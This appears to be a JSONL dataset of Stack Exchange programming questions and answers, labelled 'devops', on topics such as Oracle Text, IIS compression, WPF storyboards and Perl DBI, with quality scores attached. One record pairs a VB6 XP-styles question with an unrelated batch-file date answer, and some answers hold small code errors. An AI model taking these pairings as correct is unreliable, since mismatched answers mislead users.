{"id": "hf_d964114c7119", "question": "<p>Is there an Oracle equivalent to MS SQL's full text search service?</p>\n\n<p>If so, has anyone implemented it and had good / bad experiences?</p>\n", "question_body": "", "answer": "Oracle Text\nis the equivalent functionality.\nI've had good experiences with it.  Assuming that you are maintaining the text index asynchronously, that tends to be the first source of problems, since it may be a bit between a change being made and the index getting updated, but that's normally quite reasonable during normal operation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.581752"}
{"id": "hf_26a79f99661c", "question": "<p>How do I determine if an object reference is null in C# w/o throwing an exception if it is null?</p>\n\n<p>i.e. If I have a class reference being passed in and I don't know if it is null or not.</p>\n", "question_body": "", "answer": "```\n```\n(YourObject != Null)\n```\n```\nyou can compare to null?\nIf it's null instead of throwing an exception you can initialize your object. You can use the Null Pattern.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.605854"}
{"id": "hf_1d35f3f6462c", "question": "<p>I'm working on a project in C#. The previous programmer didn't know object oriented programming, so most of the code is in huge files (we're talking around 4-5000 lines) spread over tens and sometimes hundreds of methods, but only one class. Refactoring such a project is a huge undertaking, and so I've semi-learned to live with it for now.</p>\n\n<p>Whenever a method is used in one of the code files, the class is instantiated and then the method is called on the object instance.</p>\n\n<p>I'm wondering whether there are any noticeable performance penalties in doing it this way? Should I make all the methods static \"for now\" and, most importantly, will the application benefit from it in any way?</p>\n", "question_body": "", "answer": "It seems silly to me to create an object JUST so you can call a method which seemingly has no side effects on the object (from your description i assume this). It seems to me that a better compromise would be to have several global objects and just use those. That way you can put the variables that normally would be global into the appropriate classes so that they have slightly smaller scope.\nFrom there you can slowly move the scope of these objects to be smaller and smaller until you have a decent OOP design.\nThen again, the approach that\nI\nwould probably use is different ;).\nPersonally, I would likely focus on structures and the functions which operate on them and try to convert these into classes with members little by little.\nAs for the performance aspect of the question, static methods should be slightly faster (but not much) since they don't involve constructing, passing and deconstructing an object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.629601"}
{"id": "hf_80faafc5ab5a", "question": "<p>e.g, Is the user playing a movie full screen, or looking at powerpoint in full screen mode?</p>\n\n<p>I could have sworn I saw a IsFullScreenInteractive API before, but can't find it now</p>\n", "question_body": "", "answer": "Use GetForegroundWindow to get a handle to the window the user is working with.  GetClientRect will give the dimensions of the active part of the window sans borders; use ClientToScreen to convert the rectangle to monitor coordinates.\nCall MonitorFromRect or MonitorFromWindow to get the monitor that the window is in.  Use GetMonitorInfo to get the coordinates of the monitor.\nCompare the two rectangles - if the window rectangle completely covers the monitor rectangle, it's a full screen window.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.654150"}
{"id": "hf_170ac7c9cd1c", "question": "<p>From an earlier post about trying to improve my sites performance I have been looking at HTTP compression. I have read about setting it up in IIS but it seems to be a global thing for all IIS application pools I may not be allowed to do this as there is another site running on it as well. I then saw some code to put in global.asax to achieve the same thing on a per website basis.</p>\n\n<p><a href=\"http://www.stardeveloper.com/articles/display.html?article=2007110401&amp;page=1\" rel=\"nofollow noreferrer\">See Here </a><a href=\"http://www.stardeveloper.com/articles/display.html?article=2007110401&amp;page=1]\" rel=\"nofollow noreferrer\">http://www.stardeveloper.com/articles/display.html?article=2007110401&amp;page=1]</a><a href=\"http://www.stardeveloper.com/articles/display.html?article=2007110401&amp;page=1\" rel=\"nofollow noreferrer\">1</a></p>\n\n<p>Is this as good as the setup in IIS? How dramatic is the effect? Any known issues?</p>\n", "question_body": "", "answer": "I think the Global.asax option will be a good if you are in a shared hosting environment for example, where you don't have access to IIS configuration.\nIIS 6 provides basic compression support, but if you're already in IIS 7, it provides you great\nHTTP compression\nsupport, you can define which files get compressed based on their MIME type in your configuration files...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.678019"}
{"id": "hf_de5f639b4d01", "question": "<p>In Google Chrome, I can provide the command-line argument --user-data-dir=\"...\" to have Chrome use a different directory for state like cookies, cache, and so forth.  This makes it possible to trivially load web pages from a \"fresh\" browser and simulate multiple independent users.</p>\n\n<p>How can I do the same thing with Internet Explorer (either 6, 7, or 8)?</p>\n\n<p><strong>Edit</strong>:  It's looking like IE always uses the current user's profile, so you have to set up multiple users on the system and switch between them.  What a pain.</p>\n", "question_body": "", "answer": "Heh.\nWith Chrome, FF, etc. I can actually have multiple\nversions\non a single machine and test them without interference. IE requires me to set up VMs. Hence, the bulk of the code i churn out only gets tested rigorously on IE6 (since that's the install on the host OS). IE, if you'll pardon my slang, is a bitch - i've no idea how they manage to test it effectively within MS.\nThat said... You can\nsort of\nget what you want. If you're running XP and\naren't\non a domain, or are running Vista, you can configure \"\nFast User Switching\n\". Then, configure multiple user accounts. Finally, log into each one, launch IE in each one, and rest assured they're using different profiles / data directories. Alternately, if you're running one of the Server versions of Windows (i'm partial to 2k3 r2), you can set up Terminal Services and simply use\nRDC\nto create multiple concurrent logins.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.753731"}
{"id": "hf_97568c10de8f", "question": "<p>What is .net dynamic data and why would I use it?</p>\n", "question_body": "", "answer": "From\nScottGu's Blog\na great article on how to use Dynamic Data.\nOne of the cool new features is something we call \"ASP.NET Dynamic Data Support\". In a nutshell this enables you to\n  really quickly build data driven\n  web-sites that work against a LINQ to\n  SQL (and in the future LINQ to\n  Entities) object model - and\n  optionally allows you to-do this\n  without having to build any pages\n  manually.\nSee this\nscreencast\n. It is very enlightening.\nFrom more official\nASP.NET Dynamic Data site\n:\nASP.NET Dynamic Data provides a\n  framework that enables you to quickly\n  build a functional data-driven\n  application, based on a LINQ to SQL or\n  Entity Framework data model. It also\n  adds great flexibility and\n  functionality to the DetailsView,\n  FormView, GridView, and ListView\n  controls in the form of smart\n  validation and the ability to easily\n  change the display of these controls\n  using templates.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.790084"}
{"id": "hf_729687a99dbe", "question": "<p>I'm not sure why the TSpeedButton has this property but when a TSpeedButton is the only button of a given groupindex, it doesn't stay pressed, whether or not \"AllowAllUp\" is pressed.  Maybe a Jedi control would suffice, but hopefully there's some fix.  Any help or anecdotes are appreciated.</p>\n\n<p>BTW, I'm (still) using Delphi 7, not sure if this is an across the board conundrum.</p>\n", "question_body": "", "answer": "Hm, strange, I remember using this quite a few times with success. Perhaps you should try playing with the SpeedButton's\n```\nDown\n```\nproperty? I don't think it toggles automatically when you click it --- you should explicitly toggle\n```\nDown\n```\n, I guess...\n[edit: replaced\n```\nChecked\n```\nwith\n```\nDown\n```\n--- TSpeedButton doesn't have a\n```\nChecked\n```\nproperty, sorry!]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.826803"}
{"id": "hf_7745225cb857", "question": "<p>Can I set timeouts for JSP pages in tomcat either on a per page or server level?</p>\n", "question_body": "", "answer": "For server level, you can try this.\nyou have to change\n```\ncatalina.bat\n```\n/\n```\ncatalina.sh\n```\nfile\n```\n```\njvm OPTIONS : -Dsun.net.client.defaultConnectTimeout=60000 -Dsun.net.client.defaultReadTimeout=60000\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.910366"}
{"id": "hf_3c723a38a8e6", "question": "<p>I have a web application (asp.net) where work items are submitted and allocated to users according to their workload.</p>\n\n<p>A user's workload is calculated using an algorithm based on the number of items currently allocated to the user (and some other factors). Each new item is allocated to the user with the lowest current workload, increasing their workload. A user's workload decreases when they finish an item. Items will be submitted, allocated and finished concurrently - hence workload levels will be continually changing. Work items are stored in a SQL database.</p>\n\n<p>I need a way to ensure that every allocation decision is made using an up-to-date picture of workload across the user base.</p>\n\n<p>My idea is to provide a read/write synchronized store of workload information in the Cache. </p>\n\n<p>Is this the best approach? Or should I use the database to control locking? How do I avoid bottle-necks in my application?</p>\n\n<p>Advice much appreciated.</p>\n", "question_body": "", "answer": "I would use a database to control this, as it's highly unlikely users will be completing work quickly enough to need a more real-time approach.\nSo I would have a series of tables, relating to work items, which you can query to calculate current work levels, and thus determine the next person to receive a particular work item.\nYou could then have a series of stored procedures to mark work items as complete, or to allocate a work item to someone.\nTo minimize bottle-necks ensure your database is normalised well, and your stored procedures do not use many tables, and this should ramp up nicely.\nTo check this, you could write some test harnesses to ensure the allocation of work items, and performance is what you desire under high usage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.945765"}
{"id": "hf_bff7fb3e6af9", "question": "<p>I have an <strong>\"ldquo\"</strong>, <strong>\"rdquo\"</strong> and several other entities under my RSS feed. Seems like if I add</p>\n\n<pre><code>&lt;!DOCTYPE rss [\n  &lt;!ENTITY % HTMLspec PUBLIC\n  \"-//W3C//ENTITIES Latin 1 for XHTML//EN\"\n  \"http://www.w3.org/TR/xhtml1/DTD/xhtml-special.ent\"&gt;\n  %HTMLspec; \n</code></pre>\n\n<p>below the <strong>xml</strong> tag and above the <strong>rss</strong> tag then I'll be able to include those entities. I added but it doesn't seem to work. Does anyone knows what I missing? Thanks</p>\n", "question_body": "", "answer": "it doesn't seem likely that many feed readers will know what to do with that.  i would recommend sticking with numbered entity references.  for example, change\n```\n&ldquo;\n```\nto\n```\n&#8220;\n```\n.  you can get the full entity reference\nright here from w3c\n.\nadditionally, you can read\nthis article\nand\nthis one\nwhich gives some good tips on this topic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.997454"}
{"id": "hf_932fb875c41b", "question": "<p>I use emacs for viewing and editing code and other text files. I wanted to know if there is a way to search forward or backward for text which is marked in the current buffer. Similar to what I can do in notepad or wordpad. As in can I mark some text in the buffer and do a C-s or C-r and be able to search with the marked text without actually typing in the whole search text? </p>\n\n<p>Thank you,</p>\n\n<p>Rohit</p>\n", "question_body": "", "answer": "Yes.\n```\nM-W\n```\n(to get a copy of the selected text)\n```\nC-s <RET> C-y <RET>\n```\n.  Then repeat\n```\nC-s\n```\nas needed.  Similarly for\n```\nC-r\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.046989"}
{"id": "hf_0ef12545babb", "question": "<p>Probably a really simple one this - I'm starting out with C# and need to add values to an array, for example:</p>\n\n<pre><code>int[] terms;\n\nfor(int runs = 0; runs &lt; 400; runs++)\n{\n    terms[] = runs;\n}\n</code></pre>\n\n<p>For those who have used PHP, here's what I'm trying to do in C#:</p>\n\n<pre><code>$arr = array();\nfor ($i = 0; $i &lt; 10; $i++) {\n    $arr[] = $i;\n}\n</code></pre>\n", "question_body": "", "answer": "You have to allocate the array first:\n```\n```\nint [] terms = new int[400]; // allocate an array of 400 ints\nfor(int runs = 0; runs < terms.Length; runs++) // Use Length property rather than the 400 magic number again\n{\n    terms[runs] = value;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.071498"}
{"id": "hf_1175870e05e6", "question": "<p>i'm having a problem to create a text_field without a method association. Maybe i even don't need it :-)</p>\n\n<p>I have two radio_buttons associated to the same method:</p>\n\n<pre><code>&lt;%= radio_button :comment, :author, \"anonymous\" %&gt; Anonymous &lt;br&gt;\n&lt;%= radio_button :comment, :author, \"real_name\" %&gt; Name &lt;br&gt;\n</code></pre>\n\n<p>What i would like to do is to have an text_field which when the user click on the radio_button \"real_name\" i can verify the value in this new text_field. </p>\n\n<p>Basically my Controller would be something like:</p>\n\n<p>@comment = Comment.new(params[:comment])</p>\n\n<p>if @comment.author == \"real_name\"\n @comment.author = \"value-from-the-new-textfield\nend</p>\n\n<p>There is any way to do it?</p>\n\n<p>Regards,</p>\n\n<p>Victor</p>\n", "question_body": "", "answer": "If you want to generate a text_field without an associated object/method, use\n```\ntext_field_tag\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.185544"}
{"id": "hf_9b0c8730e47e", "question": "<p>I have a storyboard(1) that does some basic animations in 2 seconds.  I want the storyboard(1) to do all the property animations I have set it up to do (this all works fine).  But at 3 seconds into the storyboard(1) I want to begin storyboard(2) and exit storyboard(1) without user interaction at all.</p>\n\n<p>Only thing I've seen that allows me to do this is when the user clicks on something.  I want this to be automatic based on the position of the current storyboard(1) timeline.</p>\n\n<p>I hope this makes enough sense.  Please let me know if you need me to explain something in more detail.</p>\n\n<p>Thanks.</p>\n\n<p>Edit: Please post the answer in XAML or VB.net language. :)</p>\n", "question_body": "", "answer": "Normally in order to control animations during the timeline you would use \"keyframes\". Keyframe animations allow you to define specific values for the property you are animating at specific times. In WPF every animation has a corresponding keyframe animation, like 'DoubleAnimation' has 'DoubleAnimationUsingKeyFrames'.\nI don't think it's possible to start a new storyboard from within an animation. However you could achieve the same result by having both storyboards on the same timeline and starting storyboard(2) with a specific delay based on the duration of storyboard(1). Something like:\n```\n```\n<StackPanel>\n    <Rectangle Name=\"recProgressBar\"\n               Fill=\"Orange\"\n               Width=\"1\"\n               Height=\"25\"\n               Margin=\"20\"\n               HorizontalAlignment=\"Left\" />\n    <Button Content=\"Start Animation\"\n            Width=\"150\"\n            Height=\"25\">\n        <Button.Triggers>\n            <EventTrigger RoutedEvent=\"Button.Click\">\n                <BeginStoryboard>\n                    <Storyboard>\n                        <DoubleAnimation Storyboard.TargetName=\"recProgressBar\"\n                                         Storyboard.TargetProperty=\"Width\"\n                                         From=\"0\"\n                                         To=\"250\"\n                                         Duration=\"0:0:2\" />\n                        <Storyboard BeginTime=\"0:0:3\">\n                            <ColorAnimation Storyboard.TargetName=\"recProgressBar\"\n                                            Storyboard.TargetProperty=\"Fill.Color\"\n                                            To=\"DarkGreen\"\n                                            Duration=\"0:0:1\" />\n                        </Storyboard>\n                    </Storyboard>\n                </BeginStoryboard>\n            </EventTrigger>\n        </Button.Triggers>\n    </Button>\n</StackPanel>\n```\n```\nHere the color animation will start 1 second after the width animation has finished. It could be worth a try.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.234253"}
{"id": "hf_cbf7a78e6822", "question": "<p>I've got a PHP-based site where we allow users to upload a comma-separated text file of data to be imported by some server side scripts. However, sometimes we need to adjust the column order of the data that is uploaded, and it would be immensely helpful if we could identify the columns in the CSV file <em>before</em> the upload takes place.</p>\n\n<p>The only way I can think of to access local file I/O is with a Java plugin or an embedded Flash script, and I'd much prefer the latter. Is there any way in Flash to select a text file on the local hard drive, and then use ActionScript to examine <strong>only</strong> the first line (which corresponds to the column headings, in this example)?</p>\n\n<p>Sometimes these files can be >100 MB, so loading the whole thing into memory and then throwing out all but the first line probably wouldn't work efficiently, so I'm wondering if there's syntax in ActionScript to limit the amount of data read in at a time.</p>\n", "question_body": "", "answer": "Flash movies don't have access to the local file system, except to do a file upload to the server.\nI think your options are:\nProcess the class on the client side with Java (trivial), using an applet. However, as you rightly assert the user would need to grant permissions to the applet.\nProvide a small client side application written with Adobe Air, using the\nfile system API\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.261064"}
{"id": "hf_459782c025aa", "question": "<p>I'm working on an application that makes extensive use of ComponentOne's C1FlexGrid. Of the dozens we use, three are missing their licenses.licx file and cause the demo splash screen to pop up while I'm starting the application.</p>\n\n<p>Is there any way to determine which forms are causing this behavior. Short of checking hundreds of directories by hand, I don't see a way.</p>\n", "question_body": "", "answer": "According to Microsoft documentation only the executable assembly requires a licenses.licx. Dll assemblies with forms in them will still create one but it is ignored. This has been my experience as well. I would suggest opening each form in the designer view and rebuilding while in that view. This will usually add any missing license entries to the licenses.licx. It will not, however, update existing entries. This can be a problem if you've updated your components. For ComponentOne, you can usually edit the licenses.licx and remove the version information after the assembly name. Some other third party components are more finicky and touching their version info causes errors when you compile.\nIn my opinion the .NET licensing framework is cumbersome and an unnecessary burden on developers. There are far easier ways to ensure component licenses are respected.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.309799"}
{"id": "hf_3cf2056574ee", "question": "<p>How do I connect to a MSSQL database using Perl's DBI module in Windows?</p>\n", "question_body": "", "answer": "Couldn't find this anywhere reliable. Use Perl code similar to\n```\n```\nuse DBI;\nmy $dbs = \"dbi:ODBC:DRIVER={SQL Server};SERVER={ServerName}\";\nmy ($username, $password) = ('username', 'password');\n\nmy $dbh = DBI->connect($dbs, $username, $password);\n\nif (defined($dbh))\n{\n    #write code here\n    $dbh->disconnect;\n}\nelse\n{\n    print \"Error connecting to database: Error $DBI::err - $DBI::errstr\\n\";\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.333438"}
{"id": "hf_d893bf8d5ef5", "question": "<p>Suppose I have a dataset with those two immortal tables: Employee &amp; Order <br/>\n<strong>Emp</strong> -> ID, Name <br/>\n<strong>Ord</strong> -> Something, Anotherthing, EmpID <br/>\nAnd relation <strong>Rel</strong>: Ord (EmpID) -> Emp (ID) <br/></p>\n\n<p>It works great in standard master/detail scenario <br/>\n(show employees, follow down the relation, show related orders), <br/>\nbut what when I wan't to go the opposite way (show Ord table with Emp.Name)? <br/></p>\n\n<p>Something like this:<br/></p>\n\n<pre><code>&lt;stackpanel&gt;   // with datacontext set from code to dataset.tables[\"ord\"]\n   &lt;TextBox Text=\"{Binding Something}\"/&gt;\n   &lt;TextBox Text=\"{Binding Anotherthing}\"/&gt;\n   &lt;TextBox Text=\"{Binding ???}\"/&gt; // that's my problem, how to show related Emp.Name \n&lt;/stackpanel&gt;\n</code></pre>\n\n<p>Any ideas? I can create value converter, but if I wan't to use dataset instance which I get from parent module it gets tricky.</p>\n", "question_body": "", "answer": "Assuming that you are using a strongly-typed DataSet, in order to bind the TextBox to the 'EmpRow.Name' property, you will probably have to expose it as a property on the 'OrdDataTable' class.\nSince Visual Studio generates the typed DataSet code with partial classes, you could add the property to the 'OrdDataTable' class this way:\n```\n```\nusing System.Data;\n\npublic partial class OrdDataTable : DataTable\n{\n    public string EmpName\n    {\n        get { return this.EmpRow.Name; }\n    }\n}\n```\n```\nThen you would be able to bind to the 'EmpName' property of the 'OrdDataTable' object in the data context.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.383127"}
{"id": "hf_a1711f81eb2a", "question": "<p>I'm writing a simple CMS.</p>\n\n<p>I want to be able to load a View, having it included inside a master page, and then scan the HTML so that I can replace some custom tags (like {{blog}} with my own blog output) and then serve it up to the browser.</p>\n\n<p>How can I get access to the HTML from the ViewResult in order to intercept it?</p>\n", "question_body": "", "answer": "Sounds like you want to write an\n```\nActionFilterAttribute\n```\n.  This attribute has the following methods:\nOnActionExecuting\n- called just before the decorated action is executed\nOnActionExecuted\n- called after the action method is called, but before the\n```\nActionResult\n```\nis rendered.\nOnResultExecuting\n- callled before the result is rendered\nOnResultExecuted\n- called after the result is rendered\nThere is an example here which returns either JSON or XML data depending on the \"Content-type\" header:\nCreate REST API using ASP.NET MVC that speaks both Json and plain Xml", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.463880"}
{"id": "hf_a1211bea3b49", "question": "<p>I want to get a list of files in a directory, but I want to sort it such that the oldest files are first.  My solution was to call File.listFiles and just resort the list based on File.lastModified, but I was wondering if there was a better way.</p>\n\n<p>Edit: My current solution, as suggested, is to use an anonymous Comparator:</p>\n\n<pre><code>File[] files = directory.listFiles();\n\nArrays.sort(files, new Comparator&lt;File&gt;(){\n    public int compare(File f1, File f2)\n    {\n        return Long.valueOf(f1.lastModified()).compareTo(f2.lastModified());\n    } });\n</code></pre>\n", "question_body": "", "answer": "I think your solution is the only sensible way.  The only way to get the list of files is to use\nFile.listFiles()\nand the documentation states that this makes no guarantees about the order of the files returned.  Therefore you need to write a\nComparator\nthat uses\nFile.lastModified()\nand pass this, along with the array of files, to\nArrays.sort()\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.487966"}
{"id": "hf_dc3f197636a1", "question": "<p>I've a windows service that updates our product. It copies the product files into a temp directory, usually \"C:\\Windows\\Temp\", patches the binaries, and then uses MoveFileEx to copy the files back to the install directory on a reboot, usually \"C:\\Program Files\\Product\". The files in the install directory are inheriting their security attributes from the parent folder. After the copy, patch, and reboot, the files in the install directory are missing some ACLs. Specifically the files don't have the ACL for the Users group anymore so users can no longer run the program after the reboot.</p>\n\n<p>Can anyone explain whats going on here? It seems that copying from the install directory to the temp directory, the files inherit the ACLs of the temp directory. On the MoveFileEx/Reboot, though, the files only inherit the ACLs that both the install and temp directories have in common.</p>\n", "question_body": "", "answer": "In Windows if you copy a file the file takes on the ACLs of the destination directory.  If you move a file the ACL goes with it overriding any it might inherit from that directory.  I'm not sure how MoveFileEx might operate differently on a file.\nThe temp directory is usually located under the user profile (both %TMP% and %TEMP% usually point here) so copying files here will have permissions for that user.  Moving those files to the program files directory will take only that users rights with them and therefore only runnable by the installing user.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.511281"}
{"id": "hf_8203d5b69750", "question": "<p>Reading on another forum I've came across the world of CSS Frameworks. The one I've been specifically looking at is <a href=\"http://www.blueprintcss.org/\" rel=\"nofollow noreferrer\">BluePrint</a>. I was wondering if anyone else had come across CSS frameworks, suggest which is the best and if they are worth the effort?</p>\n", "question_body": "", "answer": "CSS 'frameworks' are completely missing the point.\nCSS is not like JavaScript, where you can include a base library/framework and then call functions and objects from it to do higher-level work. All a CSS framework can give you is declarative rules: some default browser-rule-reset stuff, some class styles to be forced to author your page to, and layout rules using 'float' and 'clear'. You can write that in a few lines of CSS yourself rather than pulling in the bloat of a hundred framework rules.\nThe 'grid layout' stuff in particular goes back to the bad old days of mixing your presentation into your markup. 'div class=\"span-24\"' is no better than a table, you'll have to go back in there and change the markup to affect the layout. And all the frameworks I've seen are based around fixed-pixel floated boxes, making it impossible to create a liquid layout accessible on a wide range of window sizes.\nIt's backwards authoring, of use only for someone too scared to write a CSS rule.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.594911"}
{"id": "hf_085b7a8317ba", "question": "<p>How can I make my compilation optimized for Windows 64 bit?</p>\n", "question_body": "", "answer": "A managed project is automatically built according to the architecture selected => default C# project created on AMD64 will be AMD64, X86 on X86.  The native one is always 32-bit by default.\nTo explicitly set a platform:\n1 open the solution explorer, select solution, right click->Configuration Manager.\n2 go to 'Active Solution Platform', click New.\n3 in the 'New Solution Platform' dialog that comes up select the new platform say Itanium. Set 'Copy Settings From' to 'Any CPU' which was the default setting in the 'Active Solution Platform'.\n4 click OK.\nThis is from\nWebLog", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.630165"}
{"id": "hf_55713ca8b494", "question": "<p>I created an Interop user control in VS2005. When the user control is shown inside VB6, it does not pickup/use the XP styles (The buttons and the tabs look like VB6 buttons/tabs). </p>\n\n<p>How do I get the XP styles to work with my control while it is in VB6?</p>\n", "question_body": "", "answer": "This is what I've used:\n```\n```\n::Date Variables - replace characters that are not legal as part of filesystem file names (to produce name like \"backup_04.15.08.7z\")\nSET DT=%date%\nSET DT=%DT:/=.%\nSET DT=%DT:-=.%\n```\n```\nIf you want further ideas for automating backups to 7-Zip archives, I have a free/open project you can use or review for ideas:\nhttp://wittman.org/ziparcy/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.667116"}
{"id": "hf_f81deb133b7e", "question": "<p>Here's another C#/.NET question based merely on curiousity more than an immediate <em>need</em> ...</p>\n\n<p>If you had a <code>Socket</code> instance and you wanted to wrap it in the higher-level <code>TcpClient</code> class, is that possible and how would you do it?</p>\n\n<p>Conversely if you have an instance of <code>TcpClient</code>, is it possible to get the underlying <code>Socket</code>?</p>\n", "question_body": "", "answer": "From TcpClient to Socket is very easy.\n```\ntcpClientInstance.Client\n```\nis the underlying Socket instance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:51.749565"}
{"id": "hf_827e6b392f89", "question": "<p>I have a report that uses a TChart that I am maintaining.  One of the TLineSeries that gets added automatically gets assigned the color clWhite, which is too close to the background (clBtnFace).  </p>\n\n<p>If I change it, then the next series that gets added takes clWhite.  So short of going back and changing it after all the other series are created, is there some way to tell the TChart that I don't want any of my series to be clWhite?</p>\n\n<p>When a series is added to the TChart the TChart assigns it a color.  I want it to not assign clWhite.</p>\n", "question_body": "", "answer": "Near as I can tell from the TeeCharts module; no you can't specify a color that it should not be as it ships.\nYou can programatically walk through all the TLineSeries entries making sure at run-time that they don't use clWhite. \nSay you have an array of acceptable colors clArray, you can use the following code to set the colors of each of the tLineSeries entries at run time.\n```\n```\nprocedure TForm1.setColors(aChart: TChart; aColorArray: array of TColor);\nvar\n  chi : Integer;\n  coi : Integer;\nbegin\n  coi := low(aColorArray);\n  for chi := 0 to aChart.SeriesList.Count - 1 do begin\n    aChart.SeriesList[chi].Color := aColorArray[coi];\n    inc(coi);\n    if coi > high(aColorArray) then\n      coi := low(aColorArray);\n  end;\nend;\n\nprocedure TForm1.FormShow(Sender: TObject);\nvar\n  ca : array of TColor;\nbegin\n  setLength(ca, 3);\n  ca[0] := clRed;\n  ca[1] := clBlue;\n  ca[2] := clGreen;\n  setColors(Chart1, ca);\nend;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 